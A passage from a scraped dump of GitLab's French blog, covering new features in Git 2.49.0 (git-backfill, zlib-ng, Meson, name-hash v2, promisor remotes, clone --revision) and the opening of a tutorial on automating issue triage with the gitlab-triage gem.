télécharge les blobs manquants pour exécuter la commande. Cependant, certaines opérations comme [`git-blame(1)`](https://git-scm.com/docs/git-blame/fr) peuvent entraîner un téléchargement séquentiel des objets, ce qui ralentit considérablement leur exécution. Cette dégradation des performances se produit parce que la commande `git-blame(1)` doit parcourir l'historique des commits pour identifier les blobs spécifiques requis, puis les demander un par un au serveur.\n\nPour remédier à cela, Git 2.49.0 introduit une nouvelle sous-commande : `git-backfill(1)`. Elle permet de télécharger les blobs manquants dans un clone partiel blobless.\n\nEn arrière-plan, la commande `git-backfill(1)` tire parti de la nouvelle API path-walk, qui est différente de la méthode traditionnelle d'itération de Git sur les commits. Plutôt que d'itérer sur les commits en les parcourant un par un et de consulter de façon récursive les arbres et les blobs associés à chaque commit, l'API path-walk procède par chemin d'accès. Pour chaque chemin de fichier, elle accumule la liste des objets d'arbre associés à une pile, et cette dernière est ensuite traitée en suivant un parcours en profondeur. Ainsi, plutôt que de traiter chaque objet du commit `1` avant de passer au commit `2`, elle traite toutes les versions du fichier `A` à travers tous les commits avant de passer au fichier `B`. Cette approche améliore considérablement les performances dans les scénarios où le regroupement par chemin est essentiel.\n\nEn guise d'exemple, nous allons créer un clone blobless du dépôt [`gitlab-org/git`](https://gitlab.com/gitlab-org/git) :\n\n```shell\n$ git clone --filter=blob:none --bare --no-tags git@gitlab.com:gitlab-org/git.git\nCloning into bare repository 'git.git'...\nremote: Enumerating objects: 245904, done.\nremote: Counting objects: 100% (1736/1736), done.\nremote: Compressing objects: 100% (276/276), done.\nremote: Total 245904 (delta 1591), reused 1547 (delta 1459), pack-reused 244168 (from 1)\nReceiving objects: 100% (245904/245904), 59.35 MiB | 15.96 MiB/s, done.\nResolving deltas: 100% (161482/161482), done.\n```\n\nDans l'exemple ci-dessus, nous utilisons l'option `--bare` pour nous assurer que Git n'a pas besoin de télécharger de blobs pour effectuer\nle checkout d'une branche initiale. Nous pouvons ensuite vérifier que ce clone ne contient effectivement aucun blob :\n\n```\n$ git cat-file --batch-all-objects --batch-check='%(objecttype)' | sort | uniq -c\n  83977 commit\n 161927 tree\n```\n\nSi vous souhaitez afficher le contenu d'un fichier dans le dépôt, Git doit le télécharger :\n\n```\n$ git cat-file -p HEAD:README.md\nremote: Enumerating objects: 1, done.\nremote: Total 1 (delta 0), reused 0 (delta 0), pack-reused 1 (from 1)\nReceiving objects: 100% (1/1), 1.64 KiB | 1.64 MiB/s, done.\n\n[![Build status](https://github.com/git/git/workflows/CI/badge.svg)](https://github.com/git/git/actions?query=branch%3Amaster+event%3Apush)\n\nGit - fast, scalable, distributed revision control system\n=========================================================\n\nGit is a fast, scalable, distributed revision control system with an\nunusually rich command set that provides both high-level operations\nand full access to internals.\n\n[snip]\n```\n\nComme vous pouvez le voir ci-dessus, Git interroge d'abord le dépôt distant pour télécharger le blob avant de pouvoir l'afficher.\n\nMais si vous souhaitez effectuer une opération `git-blame(1)` sur ce fichier, Git devra télécharger de nombreux autres fichiers :\n\n```sh\n$ git blame HEAD README.md\nremote: Enumerating objects: 1, done.\nremote: Counting objects: 100% (1/1), done.\nremote: Total 1 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)\nReceiving objects: 100% (1/1), 1.64 KiB | 1.64 MiB/s, done.\nremote: Enumerating objects: 1, done.\nremote: Counting objects: 100% (1/1), done.\nremote: Total 1 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)\nReceiving objects: 100% (1/1), 1.64 KiB | 1.64 MiB/s, done.\nremote: Enumerating objects: 1, done.\nremote: Counting objects: 100% (1/1), done.\nremote: Total 1 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)\nReceiving objects: 100% (1/1), 1.64 KiB | 1.64 MiB/s, done.\nremote: Enumerating objects: 1, done.\n\n[snip]\n\ndf7375d772 README.md (Ævar Arnfjörð Bjarmason 2021-11-23 17:29:09 +0100  1) [![Build status](https://github.com/git/git/workflows/CI/badge.svg)](https://github.com/git/git/actions?query=branch%3Amaster+event%3Apush)\n5f7864663b README.md (Johannes Schindelin \t2019-01-29 06:19:32 -0800  2)\n28513c4f56 README.md (Matthieu Moy        \t2016-02-25 09:37:29 +0100  3) Git - fast, scalable, distributed revision control system\n28513c4f56 README.md (Matthieu Moy        \t2016-02-25 09:37:29 +0100  4) =========================================================\n556b6600b2 README\t(Nicolas Pitre       \t2007-01-17 13:04:39 -0500  5)\n556b6600b2 README\t(Nicolas Pitre       \t2007-01-17 13:04:39 -0500  6) Git is a fast, scalable, distributed revision control system with an\n556b6600b2 README\t(Nicolas Pitre       \t2007-01-17 13:04:39 -0500  7) unusually rich command set that provides both high-level operations\n556b6600b2 README\t(Nicolas Pitre       \t2007-01-17 13:04:39 -0500  8) and full access to internals.\n556b6600b2 README\t(Nicolas Pitre       \t2007-01-17 13:04:39 -0500  9)\n\n[snip]\n```\n\nNous avons tronqué la sortie, mais comme vous pouvez le constater, Git interroge le serveur séparément pour chaque révision de ce fichier. Ce processus est loin d'être optimal. Avec la commande `git-backfill(1)`, nous pouvons demander à Git de télécharger tous les blobs en une seule fois :\n\n```shell\n$ git backfill\nremote: Enumerating objects: 50711, done.\nremote: Counting objects: 100% (15438/15438), done.\nremote: Compressing objects: 100% (708/708), done.\nremote: Total 50711 (delta 15154), reused 14730 (delta 14730), pack-reused 35273 (from 1)\nReceiving objects: 100% (50711/50711), 11.62 MiB | 12.28 MiB/s, done.\nResolving deltas: 100% (49154/49154), done.\nremote: Enumerating objects: 50017, done.\nremote: Counting objects: 100% (10826/10826), done.\nremote: Compressing objects: 100% (634/634), done.\nremote: Total 50017 (delta 10580), reused 10192 (delta 10192), pack-reused 39191 (from 1)\nReceiving objects: 100% (50017/50017), 12.17 MiB | 12.33 MiB/s, done.\nResolving deltas: 100% (48301/48301), done.\nremote: Enumerating objects: 47303, done.\nremote: Counting objects: 100% (7311/7311), done.\nremote: Compressing objects: 100% (618/618), done.\nremote: Total 47303 (delta 7021), reused 6693 (delta 6693), pack-reused 39992 (from 1)\nReceiving objects: 100% (47303/47303), 40.84 MiB | 15.26 MiB/s, done.\nResolving deltas: 100% (43788/43788), done.\n```\n\nCette commande permet de télécharger l'ensemble des blobs, transformant ainsi le clone blobless en un clone complet :\n\n```shell\n$ git cat-file --batch-all-objects --batch-check='%(objecttype)' | sort | uniq -c\n 148031 blob\n  83977 commit\n 161927 tree\n```\n\nCe [projet](https://lore.kernel.org/git/pull.1820.v3.git.1738602667.gitgitgadget@gmail.com/)\na été mené par [Derrick Stolee](https://stolee.dev/) et a été fusionné via le commit\n[e565f37553](https://gitlab.com/gitlab-org/git/-/commit/e565f3755342caf1d21e22359eaf09ec11d8c0ae).\n\n## Intégration de zlib-ng\n\nTous les objets contenus dans le dossier `.git/` sont compressés par Git à l'aide de [`zlib`](https://zlib.net/), la bibliothèque de référence implémentant la spécification [RFC 1950](https://datatracker.ietf.org/doc/html/rfc1950) : ZLIB Compressed Data Format. Créée en 1995, `zlib` bénéficie d'une longue histoire et d'une portabilité incroyable. Elle prend même en charge de nombreux systèmes antérieurs à Internet. En raison de sa compatibilité étendue avec une grande diversité d'architectures et de compilateurs, elle s'accompagne de certaines limites techniques.\n\nPour pallier ces contraintes, une bifurcation nommée [`zlib-ng`](https://github.com/zlib-ng/zlib-ng) a été créée. `zlib-ng` est une version optimisée pour les systèmes modernes. Cette bifurcation abandonne la prise en charge d'anciens systèmes au profit d'optimisations Intel, de certaines optimisations Cloudflare et de quelques autres correctifs plus ciblés.\n\nLa bibliothèque `zlib-ng` elle-même inclut une couche de compatibilité avec `zlib`, permettant \nd'utiliser `zlib-ng` en remplacement immédiat de `zlib`. Toutefois,\ncette couche de compatibilité n'est pas encore disponible sur toutes les distributions Linux. Dans Git 2.49.0 :\n\n- Une couche de compatibilité a été intégrée directement au projet Git.\n- Des options de compilation ont été ajoutées à la fois au fichier [`Makefile`](https://gitlab.com/gitlab-org/git/-/blob/b9d6f64393275b505937a8621a6cc4875adde8e0/Makefile#L186-187) et au [fichier de compilation Meson](https://gitlab.com/gitlab-org/git/-/blob/b9d6f64393275b505937a8621a6cc4875adde8e0/meson.build#L795-811).\n\nGrâce à ces ajouts, il est plus facile de tirer parti des gains de performances procurés par\n`zlib-ng`.\n\nLors de benchmarks en local, nous avons constaté une accélération d'environ 25 % en utilisant `zlib-ng` au lieu de `zlib`. Nous sommes d'ailleurs en train de déployer progressivement ces améliorations sur\nGitLab.com.\n\nSi vous souhaitez bénéficier des améliorations apportées par `zlib-ng`, vérifiez d'abord si Git\nsur votre machine l'utilise déjà en exécutant la\ncommande `git version --build-options` :\n\n```shell\n$ git version --build-options\ngit version 2.47.1\ncpu: x86_64\nno commit associated with this build\nsizeof-long: 8\nsizeof-size_t: 8\nshell-path: /bin/sh\nlibcurl: 8.6.0\nOpenSSL: OpenSSL 3.2.2 4 Jun 2024\nzlib: 1.3.1.zlib-ng\n```\n\nSi la dernière ligne contient `zlib-ng`, votre instance Git est déjà créée\nà l'aide de la variante optimisée de `zlib`. Sinon, vous pouvez :\n\n- Soit demander au chargé de maintenance du paquet Git que vous utilisez d'inclure la prise en charge de `zlib-ng`.\n- Soit compiler Git vous-même à partir de la source.\n\nCes [améliorations](https://gitlab.com/gitlab-org/git/-/commit/9d0e81e2ae3bd7f6d8a655be53c2396d7af3d2b0)\nont été [introduites](https://lore.kernel.org/git/20250128-b4-pks-compat-drop-uncompress2-v4-0-129bc36ae8f5@pks.im/)\npar [Patrick Steinhardt](https://gitlab.com/pks-gitlab).\n\n## Améliorations itératives autour de Meson\n\nDans notre article sur la [version 2.48.0 de Git](https://about.gitlab.com/fr-fr/blog/whats-new-in-git-2-48-0/#syst%C3%A8me-de-compilation-meson \"version 2.48.0 de Git\"), nous avons évoqué l'introduction du système de compilation Meson. [Meson](https://fr.wikipedia.org/wiki/Meson_(logiciel)) est un outil d'automatisation de compilation utilisé par le projet Git qui, à terme, pourrait remplacer [Autoconf](https://fr.wikipedia.org/wiki/Autoconf), [CMake](https://fr.wikipedia.org/wiki/CMake) et peut-être même [Make](https://fr.wikipedia.org/wiki/Make).\n\nAu cours du cycle de développement de la version 2.49.0, nous avons poursuivi notre travail sur l'utilisation de Meson, en ajoutant diverses fonctionnalités manquantes\net des correctifs de stabilisation :\n\n  - [L'amélioration de la couverture de test dans le cadre des\n\tpratiques CI](https://lore.kernel.org/git/20250122-b4-pks-meson-additions-v3-0-5a51eb5d3dcd@pks.im/) a été fusionnée dans le commit [72f1ddfbc9](https://gitlab.com/gitlab-org/git/-/commit/72f1ddfbc95b47c6011bb423e6947418d1d72709).\n  - [Des ajustements pour permettre l'utilisation de Meson dans `contrib/`](https://lore.kernel.org/git/20250219-b4-pks-meson-contrib-v2-0-1ba5d7fde0b9@pks.im/)\n\tont été fusionnés dans le commit [2a1530a953](https://gitlab.com/gitlab-org/git/-/commit/2a1530a953cc4d2ae62416db86c545c7ccb73ace).\n  - [Des correctifs et améliorations diverses de la procédure de compilation basée sur\n\tMeson](https://lore.kernel.org/git/20250226-b4-pks-meson-improvements-v3-0-60c77cf673ae@pks.im/) ont été fusionnées dans le commit [ab09eddf60](https://gitlab.com/gitlab-org/git/-/commit/ab09eddf601501290b5c719574fbe6c02314631f).\n  - [La prise en charge par Meson de la compilation\n\tde `git-subtree(1)`](https://lore.kernel.org/git/20250117-b4-pks-build-subtree-v1-0-03c2ed6cc42e@pks.im/) a été fusionnée dans le commit [3ddeb7f337](https://gitlab.com/gitlab-org/git/-/commit/3ddeb7f3373ae0e309d9df62ada24375afa456c7).\n  - [L'apprentissage par Meson de la génération des pages de la documentation \n\tHTML](https://lore.kernel.org/git/20241227-b4-pks-meson-docs-v2-0-f61e63edbfa1@pks.im/)\n\ta été fusionné dans le commit [1b4e9a5f8b](https://gitlab.com/gitlab-org/git/-/commit/1b4e9a5f8b5f048972c21fe8acafe0404096f694).\n\nL'ensemble de ces contributions a été mené par [Patrick Steinhardt](https://gitlab.com/pks-gitlab).\n\n## Retrait définitif des sous-répertoires .git/branches/ et .git/remotes/\n\nVous connaissez probablement l'existence du répertoire `.git` et de son\ncontenu. Mais avez-vous déjà entendu parler des sous-répertoires `.git/branches/` et\n`.git/remotes/` ? Comme vous le savez peut-être, les références aux branches sont stockées dans\n`.git/refs/heads/`, ce n'est donc pas à cela que sert `.git/branches/`, et qu'en est-il de\n`.git/remotes/` ?\n\nEn 2005, le sous-répertoire [`.git/branches/`](https://git-scm.com/docs/git-fetch/fr#_fichier_nomm%C3%A9_dans_git_dirbranches) a été introduit afin de stocker le nom abrégé de dépôts distants, et quelques mois plus tard, ces informations ont été déplacées vers [`.git/remotes/`](https://git-scm.com/docs/git-fetch/fr#_fichier_nomm%C3%A9_dans_git_dirremotes).\nPuis, en [2006](https://lore.kernel.org/git/Pine.LNX.4.63.0604301520460.2646@wbgn013.biozentrum.uni-wuerzburg.de/),\nà l'aide de la commande [`git-config(1)`](https://git-scm.com/docs/git-config), il a été possible de gérer\nles [dépôts distants](https://git-scm.com/docs/git-config#Documentation/git-config.txt-remoteltnamegturl) de la même façon que les paramètres de configuration,\nce qui est devenu la méthode standard de configuration des dépôts distants. En 2011, les\nsous-répertoires `.git/branches/` et `.git/remotes/` ont été\n[documentés](https://gitlab.com/git-scm/git/-/commit/3d3d282146e13f2d7f055ad056956fd8e5d7ed29#e615263aaf131d42be8b0d0888ebd3fec954c6c9_132_124)\ncomme étant obsolètes. Ils ne sont plus utilisés dans les dépôts modernes.\n\nEnfin en 2024, la documentation [BreakingChanges](https://git-scm.com/docs/BreakingChanges) a été créée pour répertorier les changements cassants de la prochaine version majeure de Git (v3.0). Bien que cette nouvelle version ne soit pas encore planifiée dans un avenir proche, cette documentation permet de suivre les modifications significatives à venir.\n\nDans le commit [8ccc75c245](https://gitlab.com/git-scm/git/-/commit/8ccc75c2452b5814d2445d60d54266293ca48674), l'utilisation des sous-répertoires `.git/branches/` et `.git/remotes/` a été ajoutée à cette liste, en les marquant officiellement comme obsolètes et voués à être supprimés dans Git 3.0.\n\nMerci à [Patrick Steinhardt](https://gitlab.com/pks-gitlab)\n[d'avoir formalisé ce retrait définitif](https://lore.kernel.org/git/20250122-pks-remote-branches-deprecation-v4-5-5cbf5b28afd5@pks.im/).\n\n## Ajout de liaisons en Rust pour libgit\n\nLors de la compilation de Git, une bibliothèque interne nommée `libgit.a` est créée. Elle contient certaines des fonctionnalités centrales de Git.\n\nBien que cette bibliothèque (comme la majeure partie de Git) soit écrite en C, la version Git 2.49.0 introduit des liaisons\npour que certaines de ces fonctions deviennent disponibles en langage Rust. Pour ce faire, deux\nnouveaux paquets Cargo ont été créés : `libgit-sys` et `libgit-rs`. Ils\nse trouvent dans le sous-répertoire [`contrib/`](https://gitlab.com/gitlab-org/git/-/tree/master/contrib) de l'arbre source de Git.\n\nC'est une pratique assez\n[courante](https://doc.rust-lang.org/cargo/reference/build-scripts.html#-sys-packages)\nde diviser une bibliothèque en deux paquets lorsqu'une [interface de fonction\nétrangère](https://en.wikipedia.org/wiki/Foreign_function_interface) est utilisée.\nLe paquet `libgit-sys` fournit l'interface directe et minimaliste vers les fonctions en C et effectue le lien avec la bibliothèque native `libgit.a`. Le paquet `libgit-rs` fournit une interface de haut niveau plus idiomatique pour Rust vers les fonctions de `libgit-sys`.\n\nJusqu'à présent, les fonctionnalités de ces paquets Rust sont très limitées : ils fournissent uniquement\nune interface d'interaction avec la commande `git-config(1)`.\n\nCette initiative a été menée par [Josh Steadmon](https://lore.kernel.org/git/8793ff64a7f6c4c04dd03b71162a85849feda944.1738187176.git.steadmon@google.com/) et a été fusionnée via le commit [a4af0b6288](https://gitlab.com/gitlab-org/git/-/commit/a4af0b6288e25eb327ae9018cee09def9e43f1cd).\n\n## Nouvel algorithme de hachage de noms\n\nLa base de données d'objets Git dans `.git/` stocke la plupart de ses données sous forme d'archives empaquetées («packfile»). Ces derniers  sont également utilisés pour transférer des objets entre le serveur et le client Git par le biais du réseau.\n\nPour en savoir plus sur le format de ces fichiers, consultez la documentation [`gitformat-pack(5)`](https://git-scm.com/docs/gitformat-pack). D'autre part, les archives empaquetées\nutilisent une technique de compression qui a son importance, appelée la compression delta. Avec ce type de compression, tous les objets ne sont pas stockés dans leur intégralité : certains sont enregistrés en tant que _delta_ d'une autre _base_. Ainsi, au lieu d'enregistrer le contenu complet des objets, ce sont les modifications par rapport à un autre objet de référence qui sont stockées.\n\nSans détailler la façon dont ces deltas sont calculés ou stockés, vous vous doutez bien qu'il est essentiel de regrouper les fichiers très similaires pour optimiser la compression. Jusqu'à la \nversion v2.48.0, Git examinait les 16 derniers caractères du nom du chemin d'accès au fichier pour déterminer si les blobs semblaient similaires, à l'aide d'un algorithme nommé « version `1` ».\n\nDans Git 2.49.0, l'algorithme « version `2` » a été introduit. Il s'agit d'une itération de l'algorithme version `1`, mais modifié, de sorte que l'impact du répertoire parent dans le calcul est réduit. Vous pouvez spécifier la version de l'algorithme de hachage de noms à utiliser à l'aide de l'option `--name-hash-version` de la commande [`git-repack(1)`](https://git-scm.com/docs/git-repack/fr).\n\n[Derrick Stolee](https://stolee.dev/), qui a mené ce projet, a effectué une\ncomparaison de la taille des archives empaquetées après exécution de `git repack -adf\n--name-hash-version=\u003Cn>` :\n\n| Dépôt                                          \t| Taille avec la version 1   | Taille avec la version 2 |\n|---------------------------------------------------|-----------|---------|\n| [fluentui](https://github.com/microsoft/fluentui) | 440 Mo \t| 161 Mo   |\n| Dépôt B                                        \t| 6 248 Mo   | 856 Mo   |\n| Dépôt C                                        \t| 37 278 Mo  | 6 921 Mo |\n| Dépôt D                                        \t| 131 204 Mo | 7 463 Mo |\n\nPour en savoir plus, consultez l'[ensemble de\ncorrectifs](https://lore.kernel.org/git/pull.1823.v4.git.1738004554.gitgitgadget@gmail.com/),\nqui a été fusionné dans le commit\n[aae91a86fb](https://gitlab.com/gitlab-org/git/-/commit/aae91a86fb2a71ff89a71b63ccec3a947b26ca51).\n\n## Capacité de promisor remote\n\nIl est de notoriété publique que Git ne sait pas très bien gérer les fichiers volumineux. Des solutions comme [Git LFS](https://git-lfs.com/) existent pour résoudre ce problème, mais celles-ci comportent malgré tout certaines lacunes. En voici quelques exemples :\n\n- Avec Git LFS, l'utilisateur doit configurer les fichiers à placer dans LFS. Le serveur n'a\n  aucun contrôle sur ce choix et doit donc servir tous les fichiers.\n- Chaque fois qu'un fichier est validé dans le dépôt, il est impossible de l’enlever du dépôt sans réécrire l'historique. C'est un vrai problème, surtout pour les fichiers volumineux qui sont bloqués pour toujours.\n- Les utilisateurs ne peuvent pas changer d'avis sur quels fichiers sont à placer dans Git LFS.\n- Configurer, apprendre et utiliser de manière optimale un outil comme Git LFS est\n  fastidieux.\n\nDepuis un certain temps, Git a adopté le concept de « promisor remotes ». Cette fonctionnalité pouvant être utilisée pour gérer des fichiers volumineux a été améliorée dans Git 2.49.0.\n\nL'idée de la capacité « promisor remote » est relativement simple : au lieu d'envoyer lui-même tous les objets, un serveur Git peut indiquer au client Git de télécharger ces\nobjets à partir d'un « promisor remote ».\n\nGit 2.49.0 permet désormais au serveur de transmettre les informations du « promisor remote »\nau client. Cette amélioration est une extension du protocole\n[`gitprotocol-v2`](https://git-scm.com/docs/gitprotocol-v2). Pendant l'échange\nde données, le serveur peut ainsi envoyer au client les noms et les URL des « promisor remotes » dont il a connaissance.\n\nJusqu'à présent, le client n'utilise pas les informations du « promisor remote » qu'il reçoit du serveur lors d'un clonage, de sorte que tous les objets sont toujours transmis depuis le dépôt distant à partir duquel le clonage a été initié. Nous envisageons de poursuivre l'optimisation de cette fonctionnalité pour faire en sorte de permettre au client d'utiliser les informations du « promisor remote » du serveur, ainsi que pour simplifier son utilisation.\n\nCet [ensemble de correctifs](https://lore.kernel.org/git/20250218113204.2847463-1-christian.couder@gmail.com/) a été soumis par [Christian Couder](https://gitlab.com/chriscool) et fusionné via le commit [2c6fd30198](https://gitlab.com/gitlab-org/git/-/commit/2c6fd30198187c928cbf927802556908c381799c).\n\n## Clone léger utilisant `--revision`\n\nUne nouvelle option `--revision` a été ajoutée à la commande [`git-clone(1)`](https://git-scm.com/docs/git-clone/fr). Elle vous permet de créer un clone léger d'un dépôt ne contenant que l'historique associé à une révision donnée. Elle fonctionne de manière similaire à `--branch`, mais accepte un nom de référence (comme `refs/heads/main`, `refs/tags/v1.0` et `refs/merge-requests/123`) ou un ID d'objet en hexadécimal d'un commit. La différence avec `--branch` est qu'elle ne crée pas de branche de suivi et le pointeur `HEAD` est détaché. Cette option n'est donc pas adaptée si vous souhaitez contribuer à cette branche.\n\nVous pouvez combiner `--revision` avec `--depth` pour créer un clone minimal, par exemple dans le cadre de tests automatisés. Lorsque vous disposez d'un système CI qui doit effectuer le checkout d'une branche (ou toute autre référence) pour exécuter des tests autonomes sur le code source, un clone minimal suffit largement.\n\nCe [changement](https://gitlab.com/gitlab-org/git/-/commit/5785d9143bcb3ef19452a83bc2e870ff3d5ed95a) a été [mené](https://lore.kernel.org/git/20250206-toon-clone-refs-v7-0-4622b7392202@iotcl.com/) par [Toon Claes](https://gitlab.com/toon).\n\n# En savoir plus\n- [Nouveautés de Git 2.48.0](https://about.gitlab.com/fr-fr/blog/whats-new-in-git-2-48-0/)\n- [Nouveautés de Git 2.47.0](https://about.gitlab.com/fr-fr/blog/whats-new-in-git-2-47-0/)\n- [Nouveautés de Git 2.46.0](https://about.gitlab.com/fr-fr/blog/whats-new-in-git-2-46-0/)",[270,913,1047],{"slug":1567,"featured":92,"template":683},"whats-new-in-git-2-49-0","content:fr-fr:blog:whats-new-in-git-2-49-0.yml","Whats New In Git 2 49 0","fr-fr/blog/whats-new-in-git-2-49-0.yml","fr-fr/blog/whats-new-in-git-2-49-0",{"_path":1573,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1574,"content":1579,"config":1585,"_id":1587,"_type":16,"title":1588,"_source":17,"_file":1589,"_stem":1590,"_extension":20},"/fr-fr/blog/automating-agile-workflows-with-the-gitlab-triage-gem",{"title":1575,"description":1576,"ogTitle":1575,"ogDescription":1576,"noIndex":6,"ogImage":1247,"ogUrl":1577,"ogSiteName":841,"ogType":842,"canonicalUrls":1577,"schema":1578},"La gemme gitlab-triage : votre alliée pour des workflows Agile automatisés","Découvrez comment automatiser les tâches répétitives pour permettre à vos équipes de se concentrer sur des missions à plus forte valeur ajoutée.","https://about.gitlab.com/blog/automating-agile-workflows-with-the-gitlab-triage-gem","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"La gemme gitlab-triage : votre alliée pour des workflows Agile automatisés\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2025-03-13\",\n      }\n                  ",{"title":1575,"description":1576,"authors":1580,"heroImage":1247,"date":1581,"body":1582,"category":676,"tags":1583,"updatedDate":1584},[1295],"2025-03-13","*Bienvenue dans notre série d'articles de blog baptisée « Premiers pas avec GitLab », dans laquelle nous aidons les nouveaux utilisateurs à se familiariser avec la plateforme [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que DevSecOps ?\") de GitLab.*\n\nDécouvrez dans cet article une alliée précieuse pour automatiser vos workflows Agile : la gemme [`gitlab-triage`](https://gitlab.com/gitlab-org/ruby/gems/gitlab-triage). Finies les tâches manuelles fastidieuses, place à une productivité maximale et à des processus simplifiés !\n\n## Pourquoi automatiser votre workflow ?\n\nDans le domaine du développement logiciel, la productivité est la clé du succès. En automatisant des tâches répétitives telles que le classement des tickets et des merge requests par ordre de priorité, votre équipe peut se concentrer sur sa mission première : concevoir des logiciels robustes et innovants.\n\nAvec la gemme `gitlab-triage`, vous pouvez :\n\n- **Assurer la cohérence :** appliquez des labels et attribuez des tickets automatiquement en fonction de règles prédéfinies.  \n- **Améliorer les temps de réponse :** obtenez des retours immédiats et traitez rapidement les nouveaux tickets et merge requests.  \n- **Éliminer les tâches manuelles :** triez, classez, priorisez, mettez à jour les tickets sans intervention humaine.  \n- **Stimuler la productivité :** offrez à votre équipe plus de temps pour coder, innover et se concentrer sur des tâches à forte valeur ajoutée.\n\n## Qu'est-ce que la gemme `gitlab-triage` ?\n\nLa gemme `gitlab-triage` est une bibliothèque Ruby qui vous permet de créer des bots capables d'interagir intelligemment avec vos projets GitLab et qui peuvent effectuer automatiquement un large éventail d'actions, notamment :\n\n- **Ajout de labels :** classez automatiquement vos tickets et vos merge requests.  \n- **Commentaires automatisés :** fournissez des retours, posez des questions ou partagez des informations clés.  \n- **Attribution intelligente :** attribuez les tickets et les merge requests aux membres appropriés de votre équipe, selon des critères définis.  \n- **Fermeture automatique :** clôturez les tickets et merge requests obsolètes ou résolus.  \n- **Création conditionnelle :** générez de nouveaux tickets en fonction d'événements ou de conditions spécifiques.  \n- **Et bien plus encore !**\n\nPour en savoir plus, consultez le [dépôt de la gemme `gitlab-triage`](https://gitlab.com/gitlab-org/ruby/gems/gitlab-triage). \n\n## Configuration de votre bot de classement\n\nPrêt à mettre en place votre premier bot de tri automatisé ? Suivez le guide !\n\n1. Installez la gemme. Remarque : assurez-vous que Ruby est installé sur votre machine, puis exécutez la commande `gem` suivante :\n\n```bash\ngem install gitlab-triage\n```\n\n2. Récupérez votre token d'API GitLab.\n\n* Accédez aux [paramètres de votre profil](https://gitlab.com/-/profile/preferences) GitLab.  \n* Cliquez sur **Jetons d'accès**.  \n* Créez un nouveau jeton d’accès avec la portée `api`.  \n* **Conservez-le en lieu sûr et définissez sa date d'expiration selon la durée de ce tutoriel.**\n\n3. Définissez vos stratégies de classement.\n\nCréez un fichier nommé `.triage-policies.yml` dans le répertoire racine de votre projet. Il contiendra les règles qui régissent le comportement de votre bot. Voici un exemple simple :\n\n```yaml\n\n---\n- name: \"Apply 'WIP' label\"\n  condition:\n    draft: true\n  action:\n    labels:\n      - status::wip\n\n- name: \"Request more information on old issue\"\n  condition:\n   date:\n    attribute: updated_at\n    condition: older_than\n    interval_type: months\n    interval: 12\n  action:\n    comment: |\n      {{author}} This issue has been open for more than 12 months, is this still an issue?\n```\n\nCette configuration définit deux stratégies :\n\n* La première applique automatiquement le label `status::wip` à tout ticket enregistré en tant que brouillon.  \n* La deuxième ajoute un commentaire à tout ticket qui n'a pas été mis à jour depuis 12 mois.\n\n4. Exécutez votre bot.\n\nVous pouvez exécuter votre bot manuellement à l'aide de la commande suivante :\n\n```bash\ngitlab-triage -t \u003Cyour_api_token> -p \u003Cyour_project_id>\n```\n\nRemplacez `\u003Cyour_api_token>` par votre token d'API GitLab et `\u003Cyour_project_id>` par l'[ID de votre projet GitLab](https://docs.gitlab.com/user/project/working_with_projects/#access-a-project-by-using-the-project-id). Pour effectuer un test sans appliquer les actions (mode simulation), ajoutez l’option `-n` ou `--dry-run`.\n\n## Automatisation avec GitLab CI/CD\n\nPour aller plus loin, vous pouvez intégrer l’exécution de votre bot directement dans vos pipelines GitLab [CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/). Voici un exemple de configuration `.gitlab-ci.yml` :\n\n```yaml\n\ntriage:\n  script:\n    - gem install gitlab-triage\n    - gitlab-triage -t $GITLAB_TOKEN -p $CI_PROJECT_ID\n  only:\n    - schedules\n```\n\nCette configuration définit un job nommé « triage » qui installe la gemme `gitlab-triage` et exécute le bot à l'aide de deux [variables CI/CD](https://about.gitlab.com/fr-fr/blog/demystifying-ci-cd-variables/) prédéfinis : `$GITLAB_TOKEN` et `$CI_PROJECT_ID`. La clause `only: schedules` garantit que ce job s'exécute uniquement selon un calendrier défini.\n\nPour [automatiser l’exécution de votre bot à intervalles réguliers](https://docs.gitlab.com/ee/ci/pipelines/schedules.html), accédez aux paramètres **CI/CD** de votre projet GitLab, puis à l'onglet **Calendriers**. Créez un calendrier de planification et définissez la fréquence d'exécution de votre bot (par exemple, quotidiennement, toutes les heures).\n\n## Stratégies de classement avancées\n\nLa gemme `gitlab-triage` offre un large éventail de fonctionnalités avancées pour créer des stratégies de classement plus complexes :\n\n- **Expressions régulières :** pour des correspondances plus puissantes dans vos stratégies.  \n- **Stratégies de synthèse :** pour regrouper des tickets associés en un ticket unique récapitulatif. \n- **Actions personnalisées :** pour effectuer des opérations plus complexes à l'aide de l'API GitLab, en utilisant des [blocs de code Ruby](https://gitlab.com/gitlab-org/ruby/gems/gitlab-triage#can-i-customize). \n\nVoici deux exemples concrets utilisés par l'équipe Developer Advocacy de GitLab. Vous pouvez consulter l'intégralité des stratégies dans [ce fichier](https://gitlab.com/gitlab-da/projects/devrel-bot/-/blob/master/.triage-policies.yml?ref_type=heads).\n\n```yaml\n- name: Issues where DA team member is an assignee outside DA-Meta project i.e. DevRel-Influenced\n  conditions:\n    assignee_member:\n      source: group\n      condition: member_of\n      source_id: 1008\n    state: opened\n    ruby: get_project_id != 18 \n    forbidden_labels:\n      - developer-advocacy\n  actions:   \n    labels:\n      - developer-advocacy\n      - DevRel-Influenced\n      - DA-Bot::Skip\n```\n\nCet exemple concerne les tickets d'un groupe, à l'exclusion de ceux appartenant au projet portant l'ID 18. Il montre des tickets assignés à des membres du groupe portant l'ID 1008 et qui n'incluent pas le label `developer-advocacy`. Cette stratégie permet à l'équipe Developer Advocacy de GitLab d'identifier les tickets attribués à ses membres, sur lesquels ils ont contribué mais pour un autre projet, et de suivre facilement ces contributions en y ajoutant automatiquement le label de l'équipe pour une vision claire de l'impact transversal de ses membres.\n\n```\n- name: Missing Due Dates\n  conditions:\n    ruby: missing_due_date\n    state: opened\n    labels:\n      - developer-advocacy\n    forbidden_labels:\n      - DA-Due::N/A\n      - DA-Bot::Skip\n      - DA-Status::FYI\n      - DA-Status::OnHold\n      - CFP\n      - DA-Bot::Triage\n  actions:\n    labels:\n      - DA-Bot-Auto-Due-Date\n    comment: 